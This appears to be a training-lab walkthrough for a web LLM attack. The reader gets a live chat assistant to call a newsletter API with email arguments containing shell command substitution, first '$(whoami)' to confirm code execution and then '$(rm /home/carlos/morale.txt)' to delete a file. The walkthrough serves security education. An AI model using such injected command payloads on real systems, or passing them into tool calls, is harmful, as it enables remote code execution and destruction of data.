Note
Our Web LLM attacks labs use a live LLM. While we have tested the solutions to these labs extensively, we cannot guarantee how the live chat feature will respond in any given situation due to the unpredictable nature of LLM responses. You may sometimes need to rephrase your prompts or use a slightly different process to solve the lab.
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From the lab homepage, click Live chat.
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Ask the LLM what APIs it has access to. The LLM responds that it can access APIs controlling the following functions:
- Password Reset
- Newsletter Subscription
- Product Information
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Consider the following points:
- You will probably need remote code execution to delete Carlos'
morale.txt
file. APIs that send emails sometimes use operating system commands that offer a pathway to RCE. - You don't have an account so testing the password reset will be tricky. The Newsletter Subscription API is a better initial testing target.
- You will probably need remote code execution to delete Carlos'
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Ask the LLM what arguments the Newsletter Subscription API takes.
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Ask the LLM to call the Newsletter Subscription API with the argument
attacker@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
. -
Click Email client and observe that a subscription confirmation has been sent to the email address as requested. This proves that you can use the LLM to interact with the Newsletter Subscription API directly.
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Ask the LLM to call the Newsletter Subscription API with the argument
$(whoami)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
. -
Click Email client and observe that the resulting email was sent to
carlos@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
. This suggests that thewhoami
command was executed successfully, indicating that remote code execution is possible. -
Ask the LLM to call the Newsletter Subscription API with the argument
$(rm /home/carlos/morale.txt)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
. The resulting API call causes the system to delete Carlos'morale.txt
file, solving the lab.
Note
The LLM may respond with "something went wrong" or a similar error after the final API call. This is expected behavior and should not impact the solution of the lab itself.